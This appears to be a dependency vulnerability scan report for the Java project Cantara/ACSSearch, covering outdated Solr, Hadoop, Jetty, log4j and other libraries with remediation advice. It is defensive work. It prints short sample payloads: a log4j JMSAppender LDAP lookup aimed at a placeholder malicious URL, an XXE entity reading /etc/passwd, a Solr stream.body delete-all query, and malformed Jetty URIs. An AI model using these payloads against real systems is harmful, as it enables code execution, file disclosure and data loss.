  • Introduced through: org.apache.solr:solr-core@4.8.0

Detailed paths

  • Introduced through: Cantara/ACSSearch@Cantara/ACSSearch#1dad34017161b79523762c513ea50164b9ee2d08 org.apache.solr:solr-core@4.8.0 org.apache.hadoop:hadoop-hdfs@2.2.0
    Remediation: Upgrade to org.apache.solr:solr-core@6.2.0.

Overview

org.apache.hadoop:hadoop-hdfs is a framework that allows for the distributed processing of large data sets across clusters of computers using simple programming models.

Affected versions of this package are vulnerable to Cryptographic Issues. It does not check the BlockTokens of clients when Kerberos is enabled and the DataNode has checked out the same BlockPool twice from a NodeName, which might allow remote clients to read arbitrary blocks, write to blocks to which they only have read access, and have other unspecified impacts.

Remediation

Upgrade org.apache.hadoop:hadoop-hdfs to version 2.7.0 or higher.

References

high severity

Improper Input Validation

  • Vulnerable module: org.apache.hadoop:hadoop-hdfs
  • Introduced through: org.apache.solr:solr-core@4.8.0

Detailed paths

  • Introduced through: Cantara/ACSSearch@Cantara/ACSSearch#1dad34017161b79523762c513ea50164b9ee2d08 org.apache.solr:solr-core@4.8.0 org.apache.hadoop:hadoop-hdfs@2.2.0
    Remediation: Upgrade to org.apache.solr:solr-core@6.2.0.

Overview

org.apache.hadoop:hadoop-hdfs is a framework that allows for the distributed processing of large data sets across clusters of computers using simple programming models.

HDFS clients interact with a servlet on the DataNode to browse the HDFS namespace. The NameNode is provided as a query parameter that is not validated in Apache Hadoop before 2.7.0.

References

high severity

Server-Side Request Forgery (SSRF)

  • Vulnerable module: org.apache.solr:solr-core
  • Introduced through: org.apache.solr:solr-core@4.8.0, org.apache.solr:solr@4.8.0 and others

Detailed paths

  • Introduced through: Cantara/ACSSearch@Cantara/ACSSearch#1dad34017161b79523762c513ea50164b9ee2d08 org.apache.solr:solr-core@4.8.0
    Remediation: Upgrade to org.apache.solr:solr-core@8.8.2.
  • Introduced through: Cantara/ACSSearch@Cantara/ACSSearch#1dad34017161b79523762c513ea50164b9ee2d08 org.apache.solr:solr@4.8.0 org.apache.solr:solr-core@4.8.0
  • Introduced through: Cantara/ACSSearch@Cantara/ACSSearch#1dad34017161b79523762c513ea50164b9ee2d08 org.apache.solr:solr-analysis-extras@4.8.0 org.apache.solr:solr-core@4.8.0
    Remediation: Upgrade to org.apache.solr:solr-analysis-extras@8.8.2.
  • Introduced through: Cantara/ACSSearch@Cantara/ACSSearch#1dad34017161b79523762c513ea50164b9ee2d08 org.apache.solr:solr-cell@4.8.0 org.apache.solr:solr-core@4.8.0
    Remediation: Upgrade to org.apache.solr:solr-cell@8.8.2.

Overview

org.apache.solr:solr-core is an open source enterprise search platform built on Apache Lucene

Affected versions of this package are vulnerable to Server-Side Request Forgery (SSRF). The ReplicationHandler (normally registered at /replication under a Solr core) has a masterUrl (also leaderUrl alias) parameter that is used to designate another ReplicationHandler on another Solr core to replicate index data into the local core. These parameters are not checked against a similar configuration it uses for the shards parameter.

Remediation

Upgrade org.apache.solr:solr-core to version 8.8.2 or higher.

References

high severity

XML External Entity (XXE) Injection

  • Vulnerable module: org.apache.solr:solr-core
  • Introduced through: org.apache.solr:solr-core@4.8.0, org.apache.solr:solr@4.8.0 and others

Detailed paths

  • Introduced through: Cantara/ACSSearch@Cantara/ACSSearch#1dad34017161b79523762c513ea50164b9ee2d08 org.apache.solr:solr-core@4.8.0
    Remediation: Upgrade to org.apache.solr:solr-core@8.2.0.
  • Introduced through: Cantara/ACSSearch@Cantara/ACSSearch#1dad34017161b79523762c513ea50164b9ee2d08 org.apache.solr:solr@4.8.0 org.apache.solr:solr-core@4.8.0
  • Introduced through: Cantara/ACSSearch@Cantara/ACSSearch#1dad34017161b79523762c513ea50164b9ee2d08 org.apache.solr:solr-analysis-extras@4.8.0 org.apache.solr:solr-core@4.8.0
    Remediation: Upgrade to org.apache.solr:solr-analysis-extras@8.2.0.
  • Introduced through: Cantara/ACSSearch@Cantara/ACSSearch#1dad34017161b79523762c513ea50164b9ee2d08 org.apache.solr:solr-cell@4.8.0 org.apache.solr:solr-core@4.8.0
    Remediation: Upgrade to org.apache.solr:solr-cell@8.2.0.

Overview

org.apache.solr:solr-core is an open source enterprise search platform built on Apache Lucene

Affected versions of this package are vulnerable to XML External Entity (XXE) Injection. It is possible for an attacker to inject external entities through DataImportHandler's dataConfig parameter which is used for setting the whole DIH configuration when using debug mode of the DIH admin screen.

Remediation

Upgrade org.apache.solr:solr-core to version 8.2.0 or higher.

References

medium severity

Allocation of Resources Without Limits or Throttling

  • Vulnerable module: commons-configuration:commons-configuration
  • Introduced through: org.apache.solr:solr-core@4.8.0

Detailed paths

  • Introduced through: Cantara/ACSSearch@Cantara/ACSSearch#1dad34017161b79523762c513ea50164b9ee2d08 org.apache.solr:solr-core@4.8.0 commons-configuration:commons-configuration@1.6

Overview

Affected versions of this package are vulnerable to Allocation of Resources Without Limits or Throttling due several issues in the loading of untrusted configurations. An attacker can cause excessive resource consumption by manipulating the configuration data or introducing unexpected usage patterns. Users affected by this issue are recommended to upgrade to the 2.x version line org.apache.commons:commons-configuration2, which fixes these issues.

Note: This is only exploitable if the application is configured to load untrusted configurations.

Remediation

There is no fixed version for commons-configuration:commons-configuration.

References

medium severity

Uncontrolled Resource Consumption ('Resource Exhaustion')

  • Vulnerable module: commons-io:commons-io
  • Introduced through: commons-io:commons-io@2.1 and org.apache.solr:solr-solrj@4.8.0

Detailed paths

  • Introduced through: Cantara/ACSSearch@Cantara/ACSSearch#1dad34017161b79523762c513ea50164b9ee2d08 commons-io:commons-io@2.1
    Remediation: Upgrade to commons-io:commons-io@2.14.0.
  • Introduced through: Cantara/ACSSearch@Cantara/ACSSearch#1dad34017161b79523762c513ea50164b9ee2d08 org.apache.solr:solr-solrj@4.8.0 commons-io:commons-io@2.1
    Remediation: Upgrade to org.apache.solr:solr-solrj@9.0.0.

Overview

commons-io:commons-io is a The Apache Commons IO library contains utility classes, stream implementations, file filters, file comparators, endian transformation classes, and much more.

Affected versions of this package are vulnerable to Uncontrolled Resource Consumption ('Resource Exhaustion') through the XmlStreamReader class. An attacker can cause the application to consume excessive CPU resources by sending specially crafted XML content.

Remediation

Upgrade commons-io:commons-io to version 2.14.0 or higher.

References

medium severity

Improper Input Validation

  • Vulnerable module: org.apache.poi:poi-ooxml
  • Introduced through: org.apache.solr:solr-cell@4.8.0

Detailed paths

  • Introduced through: Cantara/ACSSearch@Cantara/ACSSearch#1dad34017161b79523762c513ea50164b9ee2d08 org.apache.solr:solr-cell@4.8.0 org.apache.poi:poi-ooxml@3.10-beta2

Overview

org.apache.poi:poi-ooxml is a Java API To Access Microsoft Format Files.

Affected versions of this package are vulnerable to Improper Input Validation due to the parsing process of OOXML format files. An attacker can manipulate the file content by adding zip entries with duplicate names, leading to inconsistent data being read by different products depending on which duplicate entry is selected.

Remediation

Upgrade org.apache.poi:poi-ooxml to version 5.4.0 or higher.

References

medium severity

Creation of Temporary File in Directory with Insecure Permissions

  • Vulnerable module: org.apache.hadoop:hadoop-common
  • Introduced through: org.apache.solr:solr-core@4.8.0

Detailed paths

  • Introduced through: Cantara/ACSSearch@Cantara/ACSSearch#1dad34017161b79523762c513ea50164b9ee2d08 org.apache.solr:solr-core@4.8.0 org.apache.hadoop:hadoop-common@2.2.0
    Remediation: Upgrade to org.apache.solr:solr-core@9.0.0.

Overview

org.apache.hadoop:hadoop-common is a framework that allows for the distributed processing of large data sets across clusters of computers using simple programming models.

Affected versions of this package are vulnerable to Creation of Temporary File in Directory with Insecure Permissions in the RunJar.run() method. If sensitive data is stored in this file, a local attacker can view it by accessing the temporary directory where this data is stored.

Note:

This vulnerability can only be exploited on unix-like systems, where the system temporary directory is shared between all local users.

Remediation

Upgrade org.apache.hadoop:hadoop-common to version 3.4.0 or higher.

References

medium severity

Arbitrary Code Execution

  • Vulnerable module: log4j:log4j
  • Introduced through: log4j:log4j@1.2.17, org.apache.solr:solr-solrj@4.8.0 and others

Detailed paths

  • Introduced through: Cantara/ACSSearch@Cantara/ACSSearch#1dad34017161b79523762c513ea50164b9ee2d08 log4j:log4j@1.2.17
  • Introduced through: Cantara/ACSSearch@Cantara/ACSSearch#1dad34017161b79523762c513ea50164b9ee2d08 org.apache.solr:solr-solrj@4.8.0 log4j:log4j@1.2.17
  • Introduced through: Cantara/ACSSearch@Cantara/ACSSearch#1dad34017161b79523762c513ea50164b9ee2d08 org.slf4j:slf4j-log4j12@1.7.7 log4j:log4j@1.2.17

Overview

log4j:log4j is a 1.x branch of the Apache Log4j project. Note: Log4j 1.x reached End of Life in 2015, and is no longer supported.

Affected versions of this package are vulnerable to Arbitrary Code Execution.
Note: Even though this vulnerability appears to be related to the log4j 2.x vulnerability, the 1.x branch of the module requires an attacker to have access to modify configurations to be exploitable, which is rarely possible.

In order to leverage this vulnerability the following conditions must be met:

  1. The application has enabled JMSAppender (or a class that extends JMSAppender)
  2. The attacker has access to directly modify the TopicBindingName or TopicConnectionFactoryBindingName configuration variables - which is an unlikely scenario

If these conditions are met, log4j 1.x allows a lookup feature that does not protect against attacker-controlled LDAP and other JNDI related endpoints. Therefore, an attacker with access to the aforementioned configuration variables is able to execute arbitrary code when loaded from an LDAP server.

PoC

import org.apache.log4j.net.JMSAppender;
// ...
JMSAppender a = new JMSAppender();
a.setTopicConnectionFactoryBindingName("ldap://<malicious-url>");
// OR a.setTopicBindingName("ldap://<malicious-url>");
a.activateOptions();

Remediation

There is no fixed version for log4j:log4j.

References

medium severity

Denial of Service (DoS)

  • Vulnerable module: commons-fileupload:commons-fileupload
  • Introduced through: org.apache.solr:solr-core@4.8.0

Detailed paths

  • Introduced through: Cantara/ACSSearch@Cantara/ACSSearch#1dad34017161b79523762c513ea50164b9ee2d08 org.apache.solr:solr-core@4.8.0 commons-fileupload:commons-fileupload@1.2.1
    Remediation: Upgrade to org.apache.solr:solr-core@8.6.0.

Overview

commons-fileupload:commons-fileupload is a component that provides a simple yet flexible means of adding support for multipart file upload functionality to servlets and web applications.

Affected versions of this package are vulnerable to Denial of Service (DoS) when an attacker sends a large number of request parts in a series of uploads or a single multipart upload.

NOTE: After upgrading to the fixed version, the setFileCountMax() must be explicitly set to avoid this vulnerability.

Details

Denial of Service (DoS) describes a family of attacks, all aimed at making a system inaccessible to its intended and legitimate users.

Unlike other vulnerabilities, DoS attacks usually do not aim at breaching security. Rather, they are focused on making websites and services unavailable to genuine users resulting in downtime.

One popular Denial of Service vulnerability is DDoS (a Distributed Denial of Service), an attack that attempts to clog network pipes to the system by generating a large volume of traffic from many machines.

When it comes to open source libraries, DoS vulnerabilities allow attackers to trigger such a crash or crippling of the service by using a flaw either in the application code or from the use of open source libraries.

Two common types of DoS vulnerabilities:

  • High CPU/Memory Consumption- An attacker sending crafted requests that could cause the system to take a disproportionate amount of time to process. For example, commons-fileupload:commons-fileupload.

  • Crash - An attacker sending crafted requests that could cause the system to crash. For Example, npm ws package

Remediation

Upgrade commons-fileupload:commons-fileupload to version 1.5 or higher.

References

medium severity

Information Exposure

  • Vulnerable module: commons-fileupload:commons-fileupload
  • Introduced through: org.apache.solr:solr-core@4.8.0

Detailed paths

  • Introduced through: Cantara/ACSSearch@Cantara/ACSSearch#1dad34017161b79523762c513ea50164b9ee2d08 org.apache.solr:solr-core@4.8.0 commons-fileupload:commons-fileupload@1.2.1
    Remediation: Upgrade to org.apache.solr:solr-core@5.5.4.

Overview

commons-fileupload:commons-fileupload provides a simple yet flexible means of adding support for multipart file upload functionality to servlets and web applications.

Affected versions of the package are vulnerable to Information Disclosure because the InputStream is not closed on exception.

Remediation

Upgrade commons-fileupload to version 1.3.2 or higher.

References

medium severity

Denial of Service (DoS)

  • Vulnerable module: org.apache.commons:commons-compress
  • Introduced through: org.apache.solr:solr-cell@4.8.0

Detailed paths

  • Introduced through: Cantara/ACSSearch@Cantara/ACSSearch#1dad34017161b79523762c513ea50164b9ee2d08 org.apache.solr:solr-cell@4.8.0 org.apache.commons:commons-compress@1.7
    Remediation: Upgrade to org.apache.solr:solr-cell@8.10.1.

Overview

org.apache.commons:commons-compress is an API for working with compression and archive formats.

Affected versions of this package are vulnerable to Denial of Service (DoS). When reading a specially crafted 7Z archive, Compress can be made to allocate large amounts of memory that finally leads to an out-of-memory error even for very small inputs. This could be used to mount a denial of service attack against services that use Compress' sevenz package.

Details

Denial of Service (DoS) describes a family of attacks, all aimed at making a system inaccessible to its intended and legitimate users.

Unlike other vulnerabilities, DoS attacks usually do not aim at breaching security. Rather, they are focused on making websites and services unavailable to genuine users resulting in downtime.

One popular Denial of Service vulnerability is DDoS (a Distributed Denial of Service), an attack that attempts to clog network pipes to the system by generating a large volume of traffic from many machines.

When it comes to open source libraries, DoS vulnerabilities allow attackers to trigger such a crash or crippling of the service by using a flaw either in the application code or from the use of open source libraries.

Two common types of DoS vulnerabilities:

  • High CPU/Memory Consumption- An attacker sending crafted requests that could cause the system to take a disproportionate amount of time to process. For example, commons-fileupload:commons-fileupload.

  • Crash - An attacker sending crafted requests that could cause the system to crash. For Example, npm ws package

Remediation

Upgrade org.apache.commons:commons-compress to version 1.21 or higher.

References

medium severity

Denial of Service (DoS)

  • Vulnerable module: org.apache.commons:commons-compress
  • Introduced through: org.apache.solr:solr-cell@4.8.0

Detailed paths

  • Introduced through: Cantara/ACSSearch@Cantara/ACSSearch#1dad34017161b79523762c513ea50164b9ee2d08 org.apache.solr:solr-cell@4.8.0 org.apache.commons:commons-compress@1.7
    Remediation: Upgrade to org.apache.solr:solr-cell@8.10.1.

Overview

org.apache.commons:commons-compress is an API for working with compression and archive formats.

Affected versions of this package are vulnerable to Denial of Service (DoS). When reading a specially crafted 7Z archive, the construction of the list of codecs that decompress an entry can result in an infinite loop. This could be used to mount a denial of service attack against services that use Compress' sevenz package.

Details

Denial of Service (DoS) describes a family of attacks, all aimed at making a system inaccessible to its intended and legitimate users.

Unlike other vulnerabilities, DoS attacks usually do not aim at breaching security. Rather, they are focused on making websites and services unavailable to genuine users resulting in downtime.

One popular Denial of Service vulnerability is DDoS (a Distributed Denial of Service), an attack that attempts to clog network pipes to the system by generating a large volume of traffic from many machines.

When it comes to open source libraries, DoS vulnerabilities allow attackers to trigger such a crash or crippling of the service by using a flaw either in the application code or from the use of open source libraries.

Two common types of DoS vulnerabilities:

  • High CPU/Memory Consumption- An attacker sending crafted requests that could cause the system to take a disproportionate amount of time to process. For example, commons-fileupload:commons-fileupload.

  • Crash - An attacker sending crafted requests that could cause the system to crash. For Example, npm ws package

Remediation

Upgrade org.apache.commons:commons-compress to version 1.21 or higher.

References

medium severity

Denial of Service (DoS)

  • Vulnerable module: org.apache.commons:commons-compress
  • Introduced through: org.apache.solr:solr-cell@4.8.0

Detailed paths

  • Introduced through: Cantara/ACSSearch@Cantara/ACSSearch#1dad34017161b79523762c513ea50164b9ee2d08 org.apache.solr:solr-cell@4.8.0 org.apache.commons:commons-compress@1.7
    Remediation: Upgrade to org.apache.solr:solr-cell@8.10.1.

Overview

org.apache.commons:commons-compress is an API for working with compression and archive formats.

Affected versions of this package are vulnerable to Denial of Service (DoS). When reading a specially crafted TAR archive, Compress can be made to allocate large amounts of memory that finally leads to an out-of-memory error even for very small inputs. This could be used to mount a denial of service attack against services that use Compress' tar package.

Details

Denial of Service (DoS) describes a family of attacks, all aimed at making a system inaccessible to its intended and legitimate users.

Unlike other vulnerabilities, DoS attacks usually do not aim at breaching security. Rather, they are focused on making websites and services unavailable to genuine users resulting in downtime.

One popular Denial of Service vulnerability is DDoS (a Distributed Denial of Service), an attack that attempts to clog network pipes to the system by generating a large volume of traffic from many machines.

When it comes to open source libraries, DoS vulnerabilities allow attackers to trigger such a crash or crippling of the service by using a flaw either in the application code or from the use of open source libraries.

Two common types of DoS vulnerabilities:

  • High CPU/Memory Consumption- An attacker sending crafted requests that could cause the system to take a disproportionate amount of time to process. For example, commons-fileupload:commons-fileupload.

  • Crash - An attacker sending crafted requests that could cause the system to crash. For Example, npm ws package

Remediation

Upgrade org.apache.commons:commons-compress to version 1.21 or higher.

References

medium severity

Information Exposure

  • Vulnerable module: org.apache.hadoop:hadoop-common
  • Introduced through: org.apache.solr:solr-core@4.8.0

Detailed paths

  • Introduced through: Cantara/ACSSearch@Cantara/ACSSearch#1dad34017161b79523762c513ea50164b9ee2d08 org.apache.solr:solr-core@4.8.0 org.apache.hadoop:hadoop-common@2.2.0
    Remediation: Upgrade to org.apache.solr:solr-core@8.0.0.

Overview

org.apache.hadoop:hadoop-common is a framework that allows for the distributed processing of large data sets across clusters of computers using simple programming models.

Affected versions of this package are vulnerable to Information Exposure. A cluster user may be able to expose private files owned by the user running the MapReduce job history server process. A malicious user can construct a configuration file containing XML directives that reference sensitive files on the MapReduce job history server host.

Remediation

Upgrade org.apache.hadoop:hadoop-common to version 2.8.3, 3.0.0 or higher.

References

medium severity

Privilege Escalation

  • Vulnerable module: org.apache.hadoop:hadoop-hdfs
  • Introduced through: org.apache.solr:solr-core@4.8.0

Detailed paths

  • Introduced through: Cantara/ACSSearch@Cantara/ACSSearch#1dad34017161b79523762c513ea50164b9ee2d08 org.apache.solr:solr-core@4.8.0 org.apache.hadoop:hadoop-hdfs@2.2.0
    Remediation: Upgrade to org.apache.solr:solr-core@5.1.0.

Overview

org.apache.hadoop:hadoop-hdfs is a framework that allows for the distributed processing of large data sets across clusters of computers using simple programming models.

Affected versions of this package are vulnerable to Privilege Escalation. Does not check authorization for the refreshNamenodes, deleteBlockPool and shutdownDatanode HDFS admin commands, which allows remote authenticated users to cause a denial of service or perform unnecessary operations by issuing a command.

Remediation

Upgrade org.apache.hadoop:hadoop-hdfs to version 0.23.11, 2.4.1 or higher.

References

medium severity

XML External Entity Injection (XXE)

  • Vulnerable module: org.apache.hadoop:hadoop-hdfs
  • Introduced through: org.apache.solr:solr-core@4.8.0

Detailed paths

  • Introduced through: Cantara/ACSSearch@Cantara/ACSSearch#1dad34017161b79523762c513ea50164b9ee2d08 org.apache.solr:solr-core@4.8.0 org.apache.hadoop:hadoop-hdfs@2.2.0
    Remediation: Upgrade to org.apache.solr:solr-core@8.0.0.

Overview

org.apache.hadoop:hadoop-hdfs is a framework that allows for the distributed processing of large data sets across clusters of computers using simple programming models.

Affected versions of this package are vulnerable to XML External Entity Injection (XXE) due to insecure parsing of XML files via the OfflineEditsXmlLoader.java tool.

Remediation

Upgrade org.apache.hadoop:hadoop-hdfs to version 3.3.2 or higher.

References

medium severity

Authentication Bypass

  • Vulnerable module: org.apache.pdfbox:pdfbox
  • Introduced through: org.apache.solr:solr-cell@4.8.0

Detailed paths

  • Introduced through: Cantara/ACSSearch@Cantara/ACSSearch#1dad34017161b79523762c513ea50164b9ee2d08 org.apache.solr:solr-cell@4.8.0 org.apache.pdfbox:pdfbox@1.8.4
    Remediation: Upgrade to org.apache.solr:solr-cell@6.6.2.

Overview

org.apache.pdfbox:pdfbox Affected versions of the package are vulnerable to Authentication Bypass. The ReadOnly permissions are not called in the StandardSecurityHandler, allowing all users to edit the PDF file although the are not the owners.

Remediation

Upgrade org.apache.pdfbox:pdfbox to versions 1.8.13 ,2.0.2 or higher.

References

medium severity

Denial of Service (DoS)

  • Vulnerable module: org.apache.pdfbox:pdfbox
  • Introduced through: org.apache.solr:solr-cell@4.8.0

Detailed paths

  • Introduced through: Cantara/ACSSearch@Cantara/ACSSearch#1dad34017161b79523762c513ea50164b9ee2d08 org.apache.solr:solr-cell@4.8.0 org.apache.pdfbox:pdfbox@1.8.4
    Remediation: Upgrade to org.apache.solr:solr-cell@7.6.0.

Overview

org.apache.pdfbox:pdfbox is an open source Java tool for working with PDF documents.

Affected versions of this package are vulnerable to Denial of Service (DoS) attacks. A carefully crafted PDF file can trigger an extremely long running computation when parsing the page tree.

Details

Denial of Service (DoS) describes a family of attacks, all aimed at making a system inaccessible to its intended and legitimate users.

Unlike other vulnerabilities, DoS attacks usually do not aim at breaching security. Rather, they are focused on making websites and services unavailable to genuine users resulting in downtime.

One popular Denial of Service vulnerability is DDoS (a Distributed Denial of Service), an attack that attempts to clog network pipes to the system by generating a large volume of traffic from many machines.

When it comes to open source libraries, DoS vulnerabilities allow attackers to trigger such a crash or crippling of the service by using a flaw either in the application code or from the use of open source libraries.

Two common types of DoS vulnerabilities:

  • High CPU/Memory Consumption- An attacker sending crafted requests that could cause the system to take a disproportionate amount of time to process. For example, commons-fileupload:commons-fileupload.

  • Crash - An attacker sending crafted requests that could cause the system to crash. For Example, npm ws package

Remediation

Upgrade org.apache.pdfbox:pdfbox to version 2.0.12, 1.8.16 or higher.

References

medium severity

XML External Entity (XXE) Injection

  • Vulnerable module: org.apache.tika:tika-core
  • Introduced through: org.apache.solr:solr-cell@4.8.0

Detailed paths

  • Introduced through: Cantara/ACSSearch@Cantara/ACSSearch#1dad34017161b79523762c513ea50164b9ee2d08 org.apache.solr:solr-cell@4.8.0 org.apache.tika:tika-core@1.5
    Remediation: Upgrade to org.apache.solr:solr-cell@7.6.0.

Overview

org.apache.tika:tika-core is a toolkit for detecting and extracting metadata and structured text content from various documents using existing parser libraries.

Affected versions of this package are vulnerable to XML External Entity (XXE) Injection attacks. Under certain circumstances, the entity expansion limit might be removed during XML parsing.

Details

XXE Injection is a type of attack against an application that parses XML input. XML is a markup language that defines a set of rules for encoding documents in a format that is both human-readable and machine-readable. By default, many XML processors allow specification of an external entity, a URI that is dereferenced and evaluated during XML processing. When an XML document is being parsed, the parser can make a request and include the content at the specified URI inside of the XML document.

Attacks can include disclosing local files, which may contain sensitive data such as passwords or private user data, using file: schemes or relative paths in the system identifier.

For example, below is a sample XML document, containing an XML element- username.

<?xml version="1.0" encoding="ISO-8859-1"?>
   <username>John</username>
</xml>

An external XML entity - xxe, is defined using a system identifier and present within a DOCTYPE header. These entities can access local or remote content. For example the below code contains an external XML entity that would fetch the content of /etc/passwd and display it to the user rendered by username.

<?xml version="1.0" encoding="ISO-8859-1"?>
<!DOCTYPE foo [
   <!ENTITY xxe SYSTEM "file:///etc/passwd" >]>
   <username>&xxe;</username>
</xml>

Other XXE Injection attacks can access local resources that may not stop returning data, possibly impacting application availability and leading to Denial of Service.

Remediation

Upgrade org.apache.tika:tika-core to version 1.19.1 or higher.

References

medium severity

Remote Code Execution (RCE)

  • Vulnerable module: org.apache.solr:solr-core
  • Introduced through: org.apache.solr:solr-core@4.8.0, org.apache.solr:solr@4.8.0 and others

Detailed paths

  • Introduced through: Cantara/ACSSearch@Cantara/ACSSearch#1dad34017161b79523762c513ea50164b9ee2d08 org.apache.solr:solr-core@4.8.0
    Remediation: Upgrade to org.apache.solr:solr-core@7.1.0.
  • Introduced through: Cantara/ACSSearch@Cantara/ACSSearch#1dad34017161b79523762c513ea50164b9ee2d08 org.apache.solr:solr@4.8.0 org.apache.solr:solr-core@4.8.0
  • Introduced through: Cantara/ACSSearch@Cantara/ACSSearch#1dad34017161b79523762c513ea50164b9ee2d08 org.apache.solr:solr-analysis-extras@4.8.0 org.apache.solr:solr-core@4.8.0
    Remediation: Upgrade to org.apache.solr:solr-analysis-extras@7.1.0.
  • Introduced through: Cantara/ACSSearch@Cantara/ACSSearch#1dad34017161b79523762c513ea50164b9ee2d08 org.apache.solr:solr-cell@4.8.0 org.apache.solr:solr-core@4.8.0
    Remediation: Upgrade to org.apache.solr:solr-cell@7.1.0.

Overview

org.apache.solr:solr-core is an open source enterprise search platform built on Apache Lucene

Affected versions of this package are vulnerable to Remote Code Execution (RCE). One can issue a HTTP request parameter stream.body which Solr will interpret as body content on the request, i.e. act as a POST request. This is useful for development and testing but can pose a security risk in production since users/clients with permission to GET on various endpoints can also post by using stream.body. The classic example is &stream.body=<delete><query>:</query></delete>. Furthermore, this feature cannot be turned off by configuration as it is not controlled by enableRemoteStreaming.

Remediation

Upgrade org.apache.solr:solr-core to version 7.1.0 or higher.

References

medium severity

Improper Validation of Syntactic Correctness of Input

  • Vulnerable module: org.eclipse.jetty:jetty-http
  • Introduced through: org.apache.solr:solr-core@4.8.0, org.eclipse.jetty:jetty-server@8.1.15.v20140411 and others

Detailed paths

  • Introduced through: Cantara/ACSSearch@Cantara/ACSSearch#1dad34017161b79523762c513ea50164b9ee2d08 org.apache.solr:solr-core@4.8.0 org.eclipse.jetty:jetty-http@8.1.10.v20130312
  • Introduced through: Cantara/ACSSearch@Cantara/ACSSearch#1dad34017161b79523762c513ea50164b9ee2d08 org.eclipse.jetty:jetty-server@8.1.15.v20140411 org.eclipse.jetty:jetty-http@8.1.10.v20130312
    Remediation: Upgrade to org.eclipse.jetty:jetty-server@9.4.57.v20241219.
  • Introduced through: Cantara/ACSSearch@Cantara/ACSSearch#1dad34017161b79523762c513ea50164b9ee2d08 org.eclipse.jetty:jetty-servlet@8.1.15.v20140411 org.eclipse.jetty:jetty-security@8.1.10.v20130312 org.eclipse.jetty:jetty-server@8.1.15.v20140411 org.eclipse.jetty:jetty-http@8.1.10.v20130312
    Remediation: Upgrade to org.eclipse.jetty:jetty-servlet@9.4.57.v20241219.

Overview

org.eclipse.jetty:jetty-http is an is a http module for jetty server.

Affected versions of this package are vulnerable to Improper Validation of Syntactic Correctness of Input via the HttpURI class due to insufficient validation on the authority segment of a URI. An attacker can manipulate the URI parsing to redirect requests or initiate server-side requests to unintended destinations by supplying malformed URIs that bypass validation checks.

Notes:

  1. This is only exploitable if the application uses decoded user data as encoded URIs in conjunction with the HttpURI class used directly;

  2. The Jetty usage of the HttpURI class is not vulnerable.

Workaround

This vulnerability can be mitigated by not passing decoded user data as encoded URIs to any URI class/method, including HttpURI.

PoC

http://browser.check &@vulndetector.com/
http://browser.check #@vulndetector.com/
http://browser.check?@vulndetector.com/
http://browser.check#@vulndetector.com/
http://vulndetector.com\\/

Remediation

Upgrade org.eclipse.jetty:jetty-http to version 9.4.57.v20241219, 12.0.12 or higher.

References

medium severity

Improper Validation of Syntactic Correctness of Input

  • Vulnerable module: org.eclipse.jetty:jetty-server
  • Introduced through: org.eclipse.jetty:jetty-server@8.1.15.v20140411 and org.eclipse.jetty:jetty-servlet@8.1.15.v20140411

Detailed paths

  • Introduced through: Cantara/ACSSearch@Cantara/ACSSearch#1dad34017161b79523762c513ea50164b9ee2d08 org.eclipse.jetty:jetty-server@8.1.15.v20140411
    Remediation: Upgrade to org.eclipse.jetty:jetty-server@9.4.57.v20241219.
  • Introduced through: Cantara/ACSSearch@Cantara/ACSSearch#1dad34017161b79523762c513ea50164b9ee2d08 org.eclipse.jetty:jetty-servlet@8.1.15.v20140411 org.eclipse.jetty:jetty-security@8.1.10.v20130312 org.eclipse.jetty:jetty-server@8.1.15.v20140411
    Remediation: Upgrade to org.eclipse.jetty:jetty-servlet@9.4.57.v20241219.

Overview

org.eclipse.jetty:jetty-server is a lightweight highly scalable java based web server and servlet engine.

Affected versions of this package are vulnerable to Improper Validation of Syntactic Correctness of Input via the HttpURI class due to insufficient validation on the authority segment of a URI. An attacker can manipulate the URI parsing to redirect requests or initiate server-side requests to unintended destinations by supplying malformed URIs that bypass validation checks.

Notes:

  1. This is only exploitable if the application uses decoded user data as encoded URIs in conjunction with the HttpURI class used directly;

  2. The Jetty usage of the HttpURI class is not vulnerable.

Workaround

This vulnerability can be mitigated by not passing decoded user data as encoded URIs to any URI class/method, including HttpURI.

PoC

http://browser.check &@vulndetector.com/
http://browser.check #@vulndetector.com/
http://browser.check?@vulndetector.com/
http://browser.check#@vulndetector.com/
http://vulndetector.com\\/

Remediation

Upgrade org.eclipse.jetty:jetty-server to version 9.4.57.v20241219, 12.0.12 or higher.

References

medium severity

Cross-site Scripting (XSS)

  • Vulnerable module: org.apache.hadoop:hadoop-hdfs
  • Introduced through: org.apache.solr:solr-core@4.8.0

Detailed paths

  • Introduced through: Cantara/ACSSearch@Cantara/ACSSearch#1dad34017161b79523762c513ea50164b9ee2d08 org.apache.solr:solr-core@4.8.0 org.apache.hadoop:hadoop-hdfs@2.2.0
    Remediation: Upgrade to org.apache.solr:solr-core@6.2.0.

Overview

org.apache.hadoop:hadoop-hdfs is a framework that allows for the distributed processing of large data sets across clusters of computers using simple programming models.

Affected versions of this package are vulnerable to Cross-site Scripting (XSS) attack through an unescaped query parameter.

Details

Cross-site scripting (or XSS) is a code vulnerability that occurs when an attacker “injects” a malicious script into an otherwise trusted website. The injected script gets downloaded and executed by the end user’s browser when the user interacts with the compromised website.

This is done by escaping the context of the web application; the web application then delivers that data to its users along with other trusted dynamic content, without validating it. The browser unknowingly executes malicious script on the client side (through client-side languages; usually JavaScript or HTML) in order to perform actions that are otherwise typically blocked by the browser’s Same Origin Policy.

Injecting malicious code is the most prevalent manner by which XSS is exploited; for this reason, escaping characters in order to prevent this manipulation is the top method for securing code against this vulnerability.

Escaping means that the application is coded to mark key characters, and particularly key characters included in user input, to prevent those characters from being interpreted in a dangerous context. For example, in HTML, < can be coded as &lt; and > can be coded as &gt; in order to be interpreted and displayed as themselves in text, while within the code itself, they are used for HTML tags. If malicious content is injected into an application that escapes special characters and that malicious content uses < and > as HTML tags, those characters are nonetheless not interpreted as HTML tags by the browser if they’ve been correctly escaped in the application code and in this way the attempted attack is diverted.

The most prominent use of XSS is to steal cookies (source: OWASP HttpOnly) and hijack user sessions, but XSS exploits have been used to expose sensitive information, enable access to privileged services and functionality and deliver malware.

Types of attacks

There are a few methods by which XSS can be manipulated:

Type Origin Description
Stored Server The malicious code is inserted in the application (usually as a link) by the attacker. The code is activated every time a user clicks the link.
Reflected Server The attacker delivers a malicious link externally from the vulnerable web site application to a user. When clicked, malicious code is sent to the vulnerable web site, which reflects the attack back to the user’s browser.
DOM-based Client The attacker forces the user’s browser to render a malicious page. The data in the page itself delivers the cross-site scripting data.
Mutated The attacker injects code that appears safe, but is then rewritten and modified by the browser, while parsing the markup. An example is rebalancing unclosed quotation marks or even adding quotation marks to unquoted parameters.

Affected environments

